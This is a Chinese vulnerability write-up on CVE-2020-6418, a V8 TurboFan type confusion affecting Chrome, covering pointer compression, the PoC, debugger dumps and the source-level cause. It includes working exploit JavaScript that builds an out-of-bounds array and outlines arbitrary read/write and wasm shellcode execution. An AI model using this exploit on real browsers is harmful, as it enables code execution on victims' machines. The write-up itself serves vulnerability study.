作者:raycp
原文鏈接:https://mp.weixin.qq.com/s/cLZ7Jv2p9wlK87qN03TRqA
https://mp.weixin.qq.com/s/5LcdwvF_Yy5Q_Wz5Szqwtg
基礎知識 – Pointer compression
Pointer compression是v8 8.0中為提高64位機器內存利用率而引入的機制。
篇幅的原因,這里只簡要說下和漏洞利用相關的部分,其余的可以看參考鏈接。
示例代碼:
let aa = [1, 2, 3, 4];
%DebugPrint(aa);
%SystemBreak();
首先是指針長度的變化,之前指針都是64位的,現在是32位。而對象地址中高位的32字節是基本不會改變的,每次花4個字節來存儲高32位地址是浪費空間。因此8.0的v8,申請出4GB的空間作為堆空間分配對象,將它的高32位保存在它的根寄存器中(x64為r13)。在訪問某個對象時,只需要提供它的低32位地址,再加上根寄存器中的值機可以得到完整的地址,因此所有的對象指針的保存只需要保存32位。
在示例代碼中可以看到aa的地址為0x12e0080c651d,查看對象中的數據,看到elements字段的地址為0x0825048d,它的根寄存器r13為0x12e000000000,因此elements的完整地址是0x12e000000000+0x0825048d=0x12e00825048d。
pwndbg> job 0x12e0080c651d
0x12e0080c651d: [JSArray]
- map: 0x12e0082817f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x12e008248f7d <JSArray[0]>
- elements: 0x12e00825048d <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
- length: 4
- properties: 0x12e0080406e9 <FixedArray[0]> {
#length: 0x12e0081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x12e00825048d <FixedArray[4]> {
0: 1
1: 2
2: 3
3: 4
}
pwndbg> x/4wx 0x12e0080c651c
0x12e0080c651c: 0x082817f1 0x080406e9 0x0825048d 0x00000008 ;; map | properties | elements | length
pwndbg> i r r13
r13 0x12e000000000 0x12e000000000
pwndbg> print 0x12e000000000+0x0825048d
$170 = 0x12e00825048d
其次是SMI的表示,之前64位系統中SMI的表示是value<<32,由于要節約空間且只需要最后一比特來作為pointer tag,于是現在將SMI表示成value<<1。這樣SMI表示也從占用64字節變成了32字節。
看示例代碼中aa對象的elements,如下所示,可以看到所有的數字都翻倍了,那是因為SMI的表示是value<<1,而左移一位正是乘以2。
pwndbg> job 0x12e00825048d ;; elements
0x12e00825048d: [FixedArray] in OldSpace
- map: 0x12e0080404d9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 4
pwndbg> x/6wx 0x12e00825048c
0x12e00825048c: 0x080404d9 0x00000008 0x00000002 0x00000004
0x12e00825049c: 0x00000006 0x00000008
Pointer compression給v8的內存帶來的提升接近于40%,還是比較大的。當然也還有很多細節沒有說明,本打算寫一篇關于Pointer compression的文章,但是由于這個漏洞的出現,所以就鴿了,以后有機會再寫。
可以想到的是當一個數組從SMI數組,轉換成DOUBLE數組時,它所占用的空間幾乎會翻倍;同時數組從DOUBLE數組變成object數組時,占用空間會縮小一半。
描述
cve-2020-6418是前幾天曝出來的v8的一個類型混淆漏洞,谷歌團隊在捕獲的一個在野利用的漏洞,80.0.3987.122版本前的chrome都受影響。
根據commit先編譯v8:
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
分析
poc分析
回歸測試代碼poc如下:
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
用release版本的v8運行不會報錯,使用debug版本的v8運行會報錯。
根據commit中的信息,應該是a.pop調用的時候,沒有考慮到JSCreate結點存在的side-effect(會觸發回調函數),改變a的類型(變成DOUBLE),仍然按之前的類型(SMI)處理。
[turbofan] Fix bug in receiver maps inference
JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the analysis result must be marked
as "unreliable".
為了驗證,可以將pop的返回值打印出來,加入代碼:
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p)); // return here
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
return f(p); // return here
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
print main(empty);
print main(empty);
%OptimizeFunctionOnNextCall(main);
print(main(p));
運行打印出來的結果,看到最后一次本來應該輸出2的,卻輸出為0。
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
4
3
0
猜想應該是在Proxy中a的類型從PACKED_SMI_ELEMENTS數組改成了PACKED_DOUBLE_ELEMENTS數組,最后pop返回的時候仍然是按SMI進行返回,返回的是相應字段的數據。
在Proxy函數中加入語句進行調試:
let p = new Proxy(Object, {
get: () => {
%DebugPrint(a);
%SystemBreak();
a[0] = 1.1;
%DebugPrint(a);
%SystemBreak();
return Object.prototype;
}
});
第一次斷點相關數據如下,在elements中可以看到偏移+8為起始的數據的位置,a[2]對應為2。
pwndbg> job 0x265a080860cd
0x265a080860cd: [JSArray]
- map: 0x265a082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x265a08208f7d <JSArray[0]>
- elements: 0x265a0808625d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
- length: 3
- properties: 0x265a080406e9 <FixedArray[0]> {
#length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x265a0808625d <FixedArray[5]> {
0: 0
1: 1
2: 2
3-4: 0x265a08040385 <the_hole>
}
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x082417f1 0x080406e9 0x0808625d 0x00000006 ;; map | properties | elements | length
0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109
0x265a080860ec: 0x080401c5 0x00010001
pwndbg> job 0x265a0808625d
0x265a0808625d: [FixedArray]
- map: 0x265a080404b1 <Map>
- length: 5
0: 0
1: 1
2: 2
3-4: 0x265a08040385 <the_hole>
pwndbg> x/10wx 0x265a0808625c ;; a's elements
0x265a0808625c: 0x080404b1 0x0000000a 0x00000000 0x00000002 ;; map | length | a[0] | a[1]
0x265a0808626c: 0x00000004 0x08040385 0x08040385 0x08241f99 ;; a[2] | a[3] | a[4]
0x265a0808627c: 0x00000006 0x082104f1
第二次斷點,a的類型改變后相關數據如下:
pwndbg> job 0x265a080860cd ;; a
0x265a080860cd: [JSArray]
- map: 0x265a08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x265a08208f7d <JSArray[0]>
- elements: 0x265a08086319 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x265a080406e9 <FixedArray[0]> {
#length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x265a08086319 <FixedDoubleArray[5]> {
0: 1.1
1: 1
2: 2
3-4: <the_hole>
}
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x08241891 0x080406e9 0x08086319 0x00000006
0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109
0x265a080860ec: 0x080401c5 0x00010001
pwndbg> job 0x265a08086319 ;; a's elements
0x265a08086319: [FixedDoubleArray]
- map: 0x265a08040a3d <Map>
- length: 5
0: 1.1
1: 1
2: 2
3-4: <the_hole>
pwndbg> x/12wx 0x265a08086318 ;; a's elements
0x265a08086318: 0x08040a3d 0x0000000a 0x9999999a 0x3ff19999 ;; map | properties | elements | length
0x265a08086328: 0x00000000 0x3ff00000 0x00000000 0x40000000
0x265a08086338: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0xfff7ffff
pwndbg> x/10gx 0x265a08086318 ;; a's elements
0x265a08086318: 0x0000000a08040a3d 0x3ff199999999999a
0x265a08086328: 0x3ff0000000000000 0x4000000000000000
0x265a08086338: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
在pointer compresssion中我們知道SMI是用32位表示,double仍然是使用64位表示的,可以看到其所對應的SMI表示a[2]所在的位置剛好是0,驗證了猜想。
可以看到對應的a[3]的數據是浮點數表示的數字1(0x3ff0000000000000)的高位,因此如果我們將a的長度加1,使得它最后pop出來的是a[3]的話,將數組改成let a = [0, 1, 2, 3, 4, 5];,會打印出來的將是0x3ff00000>>1==536346624,運行驗證如下:
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
5
4
536346624
到此,從poc層面理解漏洞結束,下面我們再從源碼層面來理解漏洞。
源碼分析
JSCallReducer中的builtin inlining
在對漏洞進行分析前,需要先講述下JSCallReducer中的builtin inlining的原理。
之前在inlining的分析中說過,builtin的inlining發生在兩個階段:
- 在
inlining and native context specialization時會調用JSCallReducer來對builtin進行inlining。 - 在
typed lowering階段調用JSBuiltinReducer對builtin進行inlining。
上面兩種情況下,Reducer都會嘗試盡可能的將內置函數中最快速的路徑內聯到函數中來替換相應的JSCall結點。
對于builtin該在哪個階段(第一個階段還是第二個)發生inlining則沒有非常嚴格的規定,但是遵循以下的原則:inlining時對它周圍結點的類型信息依賴度比較高的builtin,需要在后面的typed lowering階段能夠獲取相應結點的類型信息后,再在JSBuiltinReducer中進行inlining;而具有較高優先級(把它們先進行內聯后,后續可以更好的優化)的內置函數則要在inlining and native context specialization階段的JSCallReducer中進行內聯,如Array.prototype.pop、Array.prototype.push、Array.prototype.map、 Function.prototype.apply以及Function.prototype.bind函數等。
JSCallReducer的ReduceJSCall相關代碼如下,可以看到它會根據不同的builtin_id來調用相關的Reduce函數。
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
Node* target = NodeProperties::GetValueInput(node, 0);
// Do not reduce calls to functions with break points.
if (shared.HasBreakInfo()) return NoChange();
// Raise a TypeError if the {target} is a "classConstructor".
if (IsClassConstructor(shared.kind())) {
NodeProperties::ReplaceValueInputs(node, target);
NodeProperties::ChangeOp(
node, javascript()->CallRuntime(
Runtime::kThrowConstructorNonCallableError, 1));
return Changed(node);
}
// Check for known builtin functions.
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
case Builtins::kArrayConstructor:
return ReduceArrayConstructor(node);
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
...
case Builtins::kArrayPrototypePop:
return ReduceArrayPrototypePop(node);
poc中a.pop函數所對應的builtin_id為kArrayPrototypePop。
這個階段的inlining的一個很重要的思想是:確定調用該內置函數的對象的類型;有了相應的類型后,可以根據對象的類型快速的實現相應的功能,從而去掉冗余的多種類型兼容的操作。
如kArrayPrototypePop函數功能則是根據對象的類型,將它最后一個元素直接彈出。當a.pop如果知道a的類型為PACKED_SMI_ELEMENTS,則可以根據PACKED_SMI_ELEMENTS類型,直接通過偏移找到該類型最后一個元素的位置(而不用通過復雜運行時來確定),將它置為hole,更新數組長度,并返回該元素的值。
這個過程有一個很重要的前置條件則是確定調用builtin函數的對象進行類型。只有知道了對象的類型,才能夠知道相應字段的偏移和位置等,從而快速實現該功能。
如何確定輸入對象的類型,以及它的類型是否可靠,v8代碼通過MapInference類來實現。
該類的相關代碼如下所示,它的作用正如它的注釋所示,主要包括兩點:
- 推斷傳入的對象的類型(
MAP)并返回; - 根據傳入的
effect,決定推測的返回對象類型(MAP)結果是否可靠,reliable表示返回的對象的類型是可靠的,在后面使用該對象時無需進行類型檢查,即可根據該類型進行使用;如果是reliable則表示該類型不一定準確,在后面使用時需要加入檢查(加入MAP Check),才能使用。
// compiler/map-inference.h:25
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).
// compiler/map-inference.cc:18
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
: broker_(broker), object_(object) {
ZoneHandleSet<Map> maps;
auto result =
NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
maps_.insert(maps_.end(), maps.begin(), maps.end());
maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
? kUnreliableDontNeedGuard
: kReliableOrGuarded;
DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}
MapInference構造函數調用InferReceiverMapsUnsafe函數來判斷推斷的Map是否可靠,如下所示。它會遍歷將該object作為value input的結點的effect鏈,追溯看是否存在改變object類型的代碼。如果沒有會改變對象類型的代碼,則返回kReliableReceiverMaps;如果存在結點有屬性kNoWrite以及改變對象類型的操作,則表示代碼運行過程中可能會改變對象的類型,返回kUnreliableReceiverMaps,表示返回的MAP類型不可靠。
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
HeapObjectRef receiver = m.Ref(broker);
// We don't use ICs for the Array.prototype and the Object.prototype
// because the runtime has to be able to intercept them properly, so
// we better make sure that TurboFan doesn't outsmart the system here
// by storing to elements of either prototype directly.
//
// TODO(bmeurer): This can be removed once the Array.prototype and
// Object.prototype have NO_ELEMENTS elements kind.
if (!receiver.IsJSObject() ||
!broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
if (receiver.map().is_stable()) {
// The {receiver_map} is only reliable when we install a stability
// code dependency.
*maps_return = ZoneHandleSet<Map>(receiver.map().object());
return kUnreliableReceiverMaps;
}
}
}
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kMapGuard: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = MapGuardMapsOf(effect->op());
return result;
}
break;
}
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
default: {
DCHECK_EQ(1, effect->op()->EffectOutputCount());
if (effect->op()->EffectInputCount() != 1) {
// Didn't find any appropriate CheckMaps node.
return kNoReceiverMaps;
}
if (!effect->op()->HasProperty(Operator::kNoWrite)) {
// Without alias/escape analysis we cannot tell whether this
// {effect} affects {receiver} or not.
result = kUnreliableReceiverMaps;
}
break;
...
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
}
最后來看數組對象的Array.prototype.pop函數所對應的ReduceArrayPrototypePop函數是如何實現builtin inlining的,相關代碼如下所示,主要功能為:
- 獲取
pop函數所對應的JSCall結點的value、effect以及control輸入;其中value輸入即為調用該函數的對象,即a.pop中的a。 - 調用
MapInference來推斷調用pop函數對象類型的MAP,如果沒有獲取到對象的類型,則不進行優化; - 調用
RelyOnMapsPreferStability,來查看獲取的類型是否可靠。如果可靠,則無需加入類型檢查;如果不可靠,則需要加入類型檢查。 - 因為前面三步確認了調用
pop函數的對象類型,后面就是具體的功能實現,可以直接看注釋。根據獲取的對象的類型,得到length、計算新的length、獲取數組的最后一個值用于返回、將數組的最后一個字段賦值為hole。
// compiler/js-call-reducer.cc:4910
// ES6 section 22.1.3.17 Array.prototype.pop ( )
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access());
...
Node* receiver = NodeProperties::GetValueInput(node, 1); // 獲取value輸入
Node* effect = NodeProperties::GetEffectInput(node); // 獲取effect輸入
Node* control = NodeProperties::GetControlInput(node); // 獲取control輸入
MapInference inference(broker(), receiver, effect); // 獲取調用`pop`函數的對象的類型
if (!inference.HaveMaps()) return NoChange(); // 如果沒有獲取到該對象的類型,不進行優化
MapHandles const& receiver_maps = inference.GetMaps();
std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
control, p.feedback()); // 根據類型是否可靠,確定是否要加入類型檢查
std::vector<Node*> controls_to_merge;
std::vector<Node*> effects_to_merge;
std::vector<Node*> values_to_merge;
Node* value = jsgraph()->UndefinedConstant();
Node* receiver_elements_kind =
LoadReceiverElementsKind(receiver, &effect, &control);
// Load the "length" property of the {receiver}.
Node* length = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)),
receiver, effect, control);
...
// Compute the new {length}.
length = graph()->NewNode(simplified()->NumberSubtract(), length,
jsgraph()->OneConstant());
...
// Store the new {length} to the {receiver}.
efalse = graph()->NewNode(
simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),
receiver, length, efalse, if_false);
...
// Load the last entry from the {elements}.
vfalse = efalse = graph()->NewNode(
simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)),
elements, length, efalse, if_false);
...
// Store a hole to the element we just removed from the {receiver}.
efalse = graph()->NewNode(
simplified()->StoreElement(
AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),
elements, length, jsgraph()->TheHoleConstant(), efalse, if_false);
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
最后來看下RelyOnMapsPreferStability函數是怎么實現加入檢查或不加的。當maps_state_不是kUnreliableNeedGuard的時候,即返回的類型推斷是可信的時候,則什么都不干直接返回;當類型是不可信的時候,最終會調用InsertMapChecks在圖中插入CheckMaps結點。
// compiler/js-call-reducer.cc:120
bool MapInference::RelyOnMapsPreferStability(
CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
Node* control, const FeedbackSource& feedback) {
CHECK(HaveMaps());
if (Safe()) return false;
if (RelyOnMapsViaStability(dependencies)) return true;
CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
return false;
}
// compiler/map-inference.cc:120
bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }
// compiler/map-inference.cc:114
bool MapInference::RelyOnMapsViaStability(
CompilationDependencies* dependencies) {
CHECK(HaveMaps());
return RelyOnMapsHelper(dependencies, nullptr, nullptr, nullptr, {});
}
// compiler/map-inference.cc:130
bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
JSGraph* jsgraph, Node** effect,
Node* control,
const FeedbackSource& feedback) {
if (Safe()) return true;
auto is_stable = [this](Handle<Map> map) {
MapRef map_ref(broker_, map);
return map_ref.is_stable();
};
if (dependencies != nullptr &&
std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
for (Handle<Map> map : maps_) {
dependencies->DependOnStableMap(MapRef(broker_, map));
}
SetGuarded();
return true;
} else if (feedback.IsValid()) {
InsertMapChecks(jsgraph, effect, control, feedback);
return true;
} else {
return false;
}
}
// compiler/map-inference.cc:101
void MapInference::InsertMapChecks(JSGraph* jsgraph, Node** effect,
Node* control,
const FeedbackSource& feedback) {
CHECK(HaveMaps());
CHECK(feedback.IsValid());
ZoneHandleSet<Map> maps;
for (Handle<Map> map : maps_) maps.insert(map, jsgraph->graph()->zone());
*effect = jsgraph->graph()->NewNode(
jsgraph->simplified()->CheckMaps(CheckMapsFlag::kNone, maps, feedback),
object_, *effect, control);
SetGuarded();
}
漏洞分析
理解了上面說的builtin inling以后理解漏洞就很簡單了。
根據patch,漏洞出現在InferReceiverMapsUnsafe中,相關代碼如下:
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
...
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
patch后的代碼在InferReceiverMapsUnsafe函數中遍歷到kJSCreate將類型賦值為kUnreliableReceiverMaps,即認為JSCreate可能會給當前對象的類型造成改變。
因此在漏洞版本的v8當中,代碼認為JSCreate結點是不會改變當前的類型的類型的,即沒有side-effect。而實際在poc中可以看到Reflect.construct轉換成JSCreate結點,且它可以通過Proxy來觸發回調函數來執行任意代碼,當然也包括修改相應對象的類型,因此它是存在side-effect的。
正是對于JSCreate結點的side-effect判斷錯誤,認為它沒有side-effect,最終返回kReliableReceiverMaps。導致在builtin inlining過程中RelyOnMapsPreferStability函數沒有加入CheckMaps結點,但是仍然按之前的類型進行功能實現(實際類型已經發生改變),導致類型混淆漏洞的產生。
在poc函數中,a.pop函數是不需要參數的,但是將Reflect.construct作為它的參數目標是在JSCreate結點和JSCall結點之間生成一條effect鏈。
當然其他builtin函數的內聯也會觸發這個洞,這里的array.prototype.pop可以觸發越界讀;array.protype.push則可以觸發越界寫。
利用
因為pointer compression的存在,不能像之前一樣無腦通過ArrayBuffer來進行任意讀寫了。但是很容易想到的是可以通過改寫數組結構體elements或properties指針的方式實現堆的4GB空間內任意相對地址讀寫;可以通過修改ArrayBuffer結構體的backing_store指針來實現絕對地址的讀寫。
BigUint64Array對象介紹
在這里再介紹對象BigUint64Array的結構體,通過它我們既可以實現4GB堆空間內相對地址的讀寫;又可以實現任意絕對地址的讀寫。
示例代碼如下:
let aa = new BigUint64Array(4);
aa[0] = 0x1122334455667788n;
aa[1] = 0xaabbaabbccddccddn;
aa[2] = 0xdeadbeefdeadbeefn;
aa[3] = 0xeeeeeeeeffffffffn;
%DebugPrint(aa);
%SystemBreak();
運行后數據如下,需要關注的是它的length、base_pointer以及external_pointer字段。它們和之前的指針不一樣,都是64字節表示,且沒有任何的tag標志。
pwndbg> job 0x179a080c6669
0x179a080c6669: [JSTypedArray]
- map: 0x179a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
- prototype: 0x179a08242bc9 <Object map = 0x179a08280699>
- elements: 0x179a080c6641 <ByteArray[32]> [BIGUINT64ELEMENTS]
- embedder fields: 2
- buffer: 0x179a080c6611 <ArrayBuffer map = 0x179a08281189>
- byte_offset: 0
- byte_length: 32
- length: 4
- data_ptr: 0x179a080c6648
- base_pointer: 0x80c6641
- external_pointer: 0x179a00000007
- properties: 0x179a080406e9 <FixedArray[0]> {}
- elements: 0x179a080c6641 <ByteArray[32]> {
0: 1234605616436508552
1: 12302614530665336029
2: 16045690984833335023
3: 17216961135748579327
}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> x/16wx 0x179a080c6668
0x179a080c6668: 0x08280671 0x080406e9 0x080c6641 0x080c6611
0x179a080c6678: 0x00000000 0x00000000 0x00000020 0x00000000
0x179a080c6688: 0x00000004 0x00000000 0x00000007 0x0000179a
0x179a080c6698: 0x080c6641 0x00000000 0x00000000 0x00000000
pwndbg> x/3gx 0x179a080c6688
0x179a080c6688: 0x0000000000000004 0x0000179a00000007
0x179a080c6698: 0x00000000080c6641
它的數據存儲是在data_ptr中,data_ptr的表示是base_pointer+external_pointer:
pwndbg> print 0x80c6641+0x179a00000007
$171 = 0x179a080c6648
pwndbg> x/4gx 0x179a080c6648
0x179a080c6648: 0x1122334455667788 0xaabbaabbccddccdd
0x179a080c6658: 0xdeadbeefdeadbeef 0xeeeeeeeeffffffff
external_pointer是高32位地址的值,base_pointer剛好就是相對于高32位地址的4GB堆地址的空間的偏移。初始時external_pointer的地址剛好是根寄存器r13的高32位。
因此我們可以通過覆蓋base_pointer來實現4GB堆地址空間的任意讀寫;可以通過讀取external_pointer來獲取根的值;可以通過覆蓋external_pointer和base_pointer的值來實現絕對地址的任意讀寫。
當然Float64Array以及Uint32Array的結構體差不多也是這樣,但是使用BigInt還有一個好處就是它的數據的64字節就是我們寫入的64字節,不像float或者是int一樣還需要轉換。
漏洞利用
有了上面的基礎后就可以進行漏洞利用了。
首先是利用類型混淆實現將float數組的length字段覆蓋稱很大的值。通過前面我們可以知道DOUBLE數組element長度是8,而object數組長度是4。通過類型混淆在Proxy中將對象從DOUBLE數組變成object數組,在后續pop或者push的時候就會實現越界讀寫,控制好數組長度,并在后面布置數組的話,則可以剛好讀寫到后面數組的length字段,代碼如下:
const MAX_ITERATIONS = 0x10000;
var maxSize = 1020*4;
var vulnArray = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
vulnArray.pop();
vulnArray.pop();
vulnArray.pop();
var oobArray;
function empty() {}
function evil(optional) {
vulnArray.push(typeof(Reflect.construct(empty, arguments, optional)) === Proxy? 1.1: 8.063e-320); // print (i2f(maxSize<<1)) ==> 8.063e-320
for (let i=0; i<MAX_ITERATIONS; i++) {} // trigger optimization
}
let p = new Proxy(Object, {
get: () => {
vulnArray[0] = {};
oobArray = [1.1, 2.2];
return Object.prototype;
}
});
function VulnEntry(func) {
for (let i=0; i<MAX_ITERATIONS; i++) {}; // trigger optimization
return evil(func);
}
function GetOOBArray()
{
for(let i=0; i<MAX_ITERATIONS; i++) {
empty();
}
VulnEntry(empty);
VulnEntry(empty);
VulnEntry(p);
}
GetOOBArray();
print("oob array length: "+oobArray.length)
得到了任意長度的double數組以后,可以利用數組進行進一步的越界讀寫。
有了越界讀寫以后就可以構造AAR以及AAW原語,構造的方式是利用越界讀寫來找到布置在oobArray后面的BigUint64Array,然后通過越界寫覆蓋BigUint64Array的base_pointer字段以及external_poiner來實現任意地址讀寫原語。
然后是AddrOf原語以及FakeObj原語的構造,這個和之前的覆蓋object數組的字段沒有差別,只是從以前的覆蓋64字節變成了現在的32字節。
最后就是利用上面的原語來找到wasm對象的rwx內存,寫入shellcode,最后觸發函數,執行shellcode。

其它
在調試的過程中,我有一個疑問就是poc中為什么一定要寫一個main函數來調用f函數,main函數中除了f函數的調用以外沒有干任何的事情。我去掉main,直接調用f函數行不行呢?
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (Object.prototype)
});
function main(p) {
return f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
f(empty);
f(empty);
%OptimizeFunctionOnNextCall(f);
print(f(p));
答案是不行的,將poc改成上面所示代碼,是無法漏洞的。
經過分析,發現代碼在Reflect.construct函數的內聯處理函數ReduceReflectConstruct函數過程中會先將JSCall結點轉換成JSConstructWithArrayLike結點。
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
...
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
// compiler/js-call-reducer.cc:2841
// ES6 section 26.1.2 Reflect.construct ( target, argumentsList [, newTarget] )
Reduction JSCallReducer::ReduceReflectConstruct(Node* node) {
...
NodeProperties::ChangeOp(node,
javascript()->ConstructWithArrayLike(p.frequency()));
Reduction const reduction = ReduceJSConstructWithArrayLike(node);
...
}
在ReduceJSConstructWithArrayLike函數中會調用ReduceCallOrConstructWithArrayLikeOrSpread函數。
在ReduceCallOrConstructWithArrayLikeOrSpread函數中如果發現目前優化的函數是最外層函數中的函數的話,則會將結點從JSConstructWithArrayLike轉化成JSCallForwardVarargs結點,從而最終不會出現JSCreate結點。
// compiler/js-call-reducer.cc:4681
Reduction JSCallReducer::ReduceJSConstructWithArrayLike(Node* node) {
...
return ReduceCallOrConstructWithArrayLikeOrSpread(
node, 1, frequency, FeedbackSource(),
SpeculationMode::kDisallowSpeculation, CallFeedbackRelation::kRelated);
}
// compiler/js-call-reducer.cc:3519
Reduction JSCallReducer::ReduceCallOrConstructWithArrayLikeOrSpread(
...
// 如果優化的函數已經是最外層函數中的函數
// Check if are spreading to inlined arguments or to the arguments of
// the outermost function.
Node* outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
if (outer_state->opcode() != IrOpcode::kFrameState) {
Operator const* op =
(node->opcode() == IrOpcode::kJSCallWithArrayLike ||
node->opcode() == IrOpcode::kJSCallWithSpread)
? javascript()->CallForwardVarargs(arity + 1, start_index) // 轉換成JSCallForwardVarargs結點
: javascript()->ConstructForwardVarargs(arity + 2, start_index);
NodeProperties::ChangeOp(node, op);
return Changed(node);
}
...
NodeProperties::ChangeOp(
node, javascript()->Construct(arity + 2, frequency, feedback)); // 否則轉換成JSConstruct結點
Node* new_target = NodeProperties::GetValueInput(node, arity + 1);
Node* frame_state = NodeProperties::GetFrameStateInput(node);
Node* context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
